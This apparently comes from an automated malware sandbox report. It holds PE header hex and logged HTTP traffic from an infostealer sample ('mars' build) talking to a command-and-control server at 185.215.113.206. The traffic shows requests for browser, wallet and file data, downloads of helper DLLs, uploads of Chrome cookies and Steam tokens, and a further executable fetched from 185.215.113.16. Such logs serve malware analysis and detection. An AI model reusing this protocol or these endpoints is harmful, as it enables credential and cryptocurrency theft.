20 00 20 29 00 00 b0 06 00 00 02 00 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 66 67 6d 68 7a 6c 6d 73 00 10 19 00 00 d0 2f 00 00 02 19 00 00 f8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6a 76 77 63 78 7a 64 70 00 10 00 00 00 e0 48 00 00 06 00 00 00 fa 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 f0 48 00 00 22 00 00 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 20 Nov 2024 13:45:11 GMTServer: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12Last-Modified: Wed, 20 Nov 2024 12:20:35 GMTETag: "2ee00-627572d4dbed4"Accept-Ranges: bytesContent-Length: 192000Content-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 64 86 02 00 13 d4 3d 67 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0b 00 00 e6 02 00 00 06 00 00 00 00 00 00 00 00 00 00 00 20 00 00 00 00 00 40 01 00 00 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 40 03 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 40 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 20 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 03 00 0e 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 b8 e5 02 00 00 20 00 00 00 e6 02 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 0e 05 00 00 00 20 03 00 00 06 00 00 00 e8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 48 00 00 00 02 00 05 00 c8 e9 02 00 f0 1b 00 00 01 00 00 00 01 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 e8 b8 0f f9 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 b2 02 00 00 10 00 00 00 00 00 00 ce d1 02 00 00 20 00 00 00 e0 02 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 20 03 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 80 d1 02 00 4b 00 00 00 00 e0 02 00 ad 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 03 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECGDHDHJEBGHJKFIECBGHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 47 44 48 44 48 4a 45 42 47 48 4a 4b 46 49 45 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 42 44 45 31 35 39 39 45 33 34 32 31 35 36 31 32 32 34 37 34 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 48 44 48 4a 45 42 47 48 4a 4b 46 49 45 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 48 44 48 4a 45 42 47 48 4a 4b 46 49 45 43 42 47 2d 2d 0d 0a Data Ascii: ------ECGDHDHJEBGHJKFIECBGContent-Disposition: form-data; name="hwid"3BDE1599E342156122474------ECGDHDHJEBGHJKFIECBGContent-Disposition: form-data; name="build"mars------ECGDHDHJEBGHJKFIECBG--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAAEBAFBGIDHCBFHIECFHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 41 41 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 30 32 31 38 39 61 33 34 32 36 33 32 35 35 63 38 61 37 37 66 33 62 36 66 61 65 36 63 65 34 63 39 35 63 36 61 33 63 64 66 33 31 37 36 30 66 36 35 64 64 62 37 31 34 31 37 63 38 30 61 32 61 37 30 65 38 66 37 66 37 61 0d 0a 2d 2d 2d 2d 2d 2d 41 41 41 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 41 41 41 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 2d 2d 0d 0a Data Ascii: ------AAAEBAFBGIDHCBFHIECFContent-Disposition: form-data; name="token"d02189a34263255c8a77f3b6fae6ce4c95c6a3cdf31760f65ddb71417c80a2a70e8f7f7a------AAAEBAFBGIDHCBFHIECFContent-Disposition: form-data; name="message"browsers------AAAEBAFBGIDHCBFHIECF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KECGHIJDGCBKECAAKKECHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 45 43 47 48 49 4a 44 47 43 42 4b 45 43 41 41 4b 4b 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 30 32 31 38 39 61 33 34 32 36 33 32 35 35 63 38 61 37 37 66 33 62 36 66 61 65 36 63 65 34 63 39 35 63 36 61 33 63 64 66 33 31 37 36 30 66 36 35 64 64 62 37 31 34 31 37 63 38 30 61 32 61 37 30 65 38 66 37 66 37 61 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 43 47 48 49 4a 44 47 43 42 4b 45 43 41 41 4b 4b 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 43 47 48 49 4a 44 47 43 42 4b 45 43 41 41 4b 4b 45 43 2d 2d 0d 0a Data Ascii: ------KECGHIJDGCBKECAAKKECContent-Disposition: form-data; name="token"d02189a34263255c8a77f3b6fae6ce4c95c6a3cdf31760f65ddb71417c80a2a70e8f7f7a------KECGHIJDGCBKECAAKKECContent-Disposition: form-data; name="message"plugins------KECGHIJDGCBKECAAKKEC--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGIJDAFCFHIEHJJKEHJKHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 47 49 4a 44 41 46 43 46 48 49 45 48 4a 4a 4b 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 30 32 31 38 39 61 33 34 32 36 33 32 35 35 63 38 61 37 37 66 33 62 36 66 61 65 36 63 65 34 63 39 35 63 36 61 33 63 64 66 33 31 37 36 30 66 36 35 64 64 62 37 31 34 31 37 63 38 30 61 32 61 37 30 65 38 66 37 66 37 61 0d 0a 2d 2d 2d 2d 2d 2d 44 47 49 4a 44 41 46 43 46 48 49 45 48 4a 4a 4b 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 44 47 49 4a 44 41 46 43 46 48 49 45 48 4a 4a 4b 45 48 4a 4b 2d 2d 0d 0a Data Ascii: ------DGIJDAFCFHIEHJJKEHJKContent-Disposition: form-data; name="token"d02189a34263255c8a77f3b6fae6ce4c95c6a3cdf31760f65ddb71417c80a2a70e8f7f7a------DGIJDAFCFHIEHJJKEHJKContent-Disposition: form-data; name="message"fplugins------DGIJDAFCFHIEHJJKEHJK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDHDAEBGCAAFIDGCGDHIHost: 185.215.113.206Content-Length: 6043Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFHDAEHDAKECGCAKFCFIHost: 185.215.113.206Content-Length: 427Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 46 48 44 41 45 48 44 41 4b 45 43 47 43 41 4b 46 43 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 30 32 31 38 39 61 33 34 32 36 33 32 35 35 63 38 61 37 37 66 33 62 36 66 61 65 36 63 65 34 63 39 35 63 36 61 33 63 64 66 33 31 37 36 30 66 36 35 64 64 62 37 31 34 31 37 63 38 30 61 32 61 37 30 65 38 66 37 66 37 61 0d 0a 2d 2d 2d 2d 2d 2d 42 46 48 44 41 45 48 44 41 4b 45 43 47 43 41 4b 46 43 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 42 46 48 44 41 45 48 44 41 4b 45 43 47 43 41 4b 46 43 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 46 48 44 41 45 48 44 41 4b 45 43 47 43 41 4b 46 43 46 49 2d 2d 0d 0a Data Ascii: ------BFHDAEHDAKECGCAKFCFIContent-Disposition: form-data; name="token"d02189a34263255c8a77f3b6fae6ce4c95c6a3cdf31760f65ddb71417c80a2a70e8f7f7a------BFHDAEHDAKECGCAKFCFIContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------BFHDAEHDAKECGCAKFCFIContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------BFHDAEHDAKECGCAKFCFI--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DBAAFIDGDAAAAAAAAKEBHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 42 41 41 46 49 44 47 44 41 41 41 41 41 41 41 41 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 30 32 31 38 39 61 33 34 32 36 33 32 35 35 63 38 61 37 37 66 33 62 36 66 61 65 36 63 65 34 63 39 35 63 36 61 33 63 64 66 33 31 37 36 30 66 36 35 64 64 62 37 31 34 31 37 63 38 30 61 32 61 37 30 65 38 66 37 66 37 61 0d 0a 2d 2d 2d 2d 2d 2d 44 42 41 41 46 49 44 47 44 41 41 41 41 41 41 41 41 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 42 41 41 46 49 44 47 44 41 41 41 41 41 41 41 41 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 44 42 41 41 46 49 44 47 44 41 41 41 41 41 41 41 41 4b 45 42 2d 2d 0d 0a Data Ascii: ------DBAAFIDGDAAAAAAAAKEBContent-Disposition: form-data; name="token"d02189a34263255c8a77f3b6fae6ce4c95c6a3cdf31760f65ddb71417c80a2a70e8f7f7a------DBAAFIDGDAAAAAAAAKEBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------DBAAFIDGDAAAAAAAAKEBContent-Disposition: form-data; name="file"------DBAAFIDGDAAAAAAAAKEB--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKJDGDHIDBGIECBGHJDBHost: 185.215.113.206Content-Length: 3087Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJEGCBGIDHCAKEBGIIDBHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 45 47 43 42 47 49 44 48 43 41 4b 45 42 47 49 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 30 32 31 38 39 61 33 34 32 36 33 32 35 35 63 38 61 37 37 66 33 62 36 66 61 65 36 63 65 34 63 39 35 63 36 61 33 63 64 66 33 31 37 36 30 66 36 35 64 64 62 37 31 34 31 37 63 38 30 61 32 61 37 30 65 38 66 37 66 37 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 47 43 42 47 49 44 48 43 41 4b 45 42 47 49 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 47 43 42 47 49 44 48 43 41 4b 45 42 47 49 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 47 43 42 47 49 44 48 43 41 4b 45 42 47 49 49 44 42 2d 2d 0d 0a Data Ascii: ------JJEGCBGIDHCAKEBGIIDBContent-Disposition: form-data; name="token"d02189a34263255c8a77f3b6fae6ce4c95c6a3cdf31760f65ddb71417c80a2a70e8f7f7a------JJEGCBGIDHCAKEBGIIDBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------JJEGCBGIDHCAKEBGIIDBContent-Disposition: form-data; name="file"------JJEGCBGIDHCAKEBGIIDB--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CFBAKKJDBKJJJKFHDAEBHost: 185.215.113.206Content-Length: 947Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAEHJEGIIDAECAAKEBKFHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 41 45 48 4a 45 47 49 49 44 41 45 43 41 41 4b 45 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 30 32 31 38 39 61 33 34 32 36 33 32 35 35 63 38 61 37 37 66 33 62 36 66 61 65 36 63 65 34 63 39 35 63 36 61 33 63 64 66 33 31 37 36 30 66 36 35 64 64 62 37 31 34 31 37 63 38 30 61 32 61 37 30 65 38 66 37 66 37 61 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 48 4a 45 47 49 49 44 41 45 43 41 41 4b 45 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 48 4a 45 47 49 49 44 41 45 43 41 41 4b 45 42 4b 46 2d 2d 0d 0a Data Ascii: ------AAEHJEGIIDAECAAKEBKFContent-Disposition: form-data; name="token"d02189a34263255c8a77f3b6fae6ce4c95c6a3cdf31760f65ddb71417c80a2a70e8f7f7a------AAEHJEGIIDAECAAKEBKFContent-Disposition: form-data; name="message"wallets------AAEHJEGIIDAECAAKEBKF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KEHCAFHIJECGCAKFCGDBHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 45 48 43 41 46 48 49 4a 45 43 47 43 41 4b 46 43 47 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 30 32 31 38 39 61 33 34 32 36 33 32 35 35 63 38 61 37 37 66 33 62 36 66 61 65 36 63 65 34 63 39 35 63 36 61 33 63 64 66 33 31 37 36 30 66 36 35 64 64 62 37 31 34 31 37 63 38 30 61 32 61 37 30 65 38 66 37 66 37 61 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 43 41 46 48 49 4a 45 43 47 43 41 4b 46 43 47 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 43 41 46 48 49 4a 45 43 47 43 41 4b 46 43 47 44 42 2d 2d 0d 0a Data Ascii: ------KEHCAFHIJECGCAKFCGDBContent-Disposition: form-data; name="token"d02189a34263255c8a77f3b6fae6ce4c95c6a3cdf31760f65ddb71417c80a2a70e8f7f7a------KEHCAFHIJECGCAKFCGDBContent-Disposition: form-data; name="message"files------KEHCAFHIJECGCAKFCGDB--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JEGHJDGIJECGDHJJECGHHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 45 47 48 4a 44 47 49 4a 45 43 47 44 48 4a 4a 45 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 30 32 31 38 39 61 33 34 32 36 33 32 35 35 63 38 61 37 37 66 33 62 36 66 61 65 36 63 65 34 63 39 35 63 36 61 33 63 64 66 33 31 37 36 30 66 36 35 64 64 62 37 31 34 31 37 63 38 30 61 32 61 37 30 65 38 66 37 66 37 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 47 48 4a 44 47 49 4a 45 43 47 44 48 4a 4a 45 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 47 48 4a 44 47 49 4a 45 43 47 44 48 4a 4a 45 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 47 48 4a 44 47 49 4a 45 43 47 44 48 4a 4a 45 43 47 48 2d 2d 0d 0a Data Ascii: ------JEGHJDGIJECGDHJJECGHContent-Disposition: form-data; name="token"d02189a34263255c8a77f3b6fae6ce4c95c6a3cdf31760f65ddb71417c80a2a70e8f7f7a------JEGHJDGIJECGDHJJECGHContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------JEGHJDGIJECGDHJJECGHContent-Disposition: form-data; name="file"------JEGHJDGIJECGDHJJECGH--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDAAKKEHDHCAAAKFCBAKHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 44 41 41 4b 4b 45 48 44 48 43 41 41 41 4b 46 43 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 30 32 31 38 39 61 33 34 32 36 33 32 35 35 63 38 61 37 37 66 33 62 36 66 61 65 36 63 65 34 63 39 35 63 36 61 33 63 64 66 33 31 37 36 30 66 36 35 64 64 62 37 31 34 31 37 63 38 30 61 32 61 37 30 65 38 66 37 66 37 61 0d 0a 2d 2d 2d 2d 2d 2d 47 44 41 41 4b 4b 45 48 44 48 43 41 41 41 4b 46 43 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 47 44 41 41 4b 4b 45 48 44 48 43 41 41 41 4b 46 43 42 41 4b 2d 2d 0d 0a Data Ascii: ------GDAAKKEHDHCAAAKFCBAKContent-Disposition: form-data; name="token"d02189a34263255c8a77f3b6fae6ce4c95c6a3cdf31760f65ddb71417c80a2a70e8f7f7a------GDAAKKEHDHCAAAKFCBAKContent-Disposition: form-data; name="message"ybncbhylepme------GDAAKKEHDHCAAAKFCBAK--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
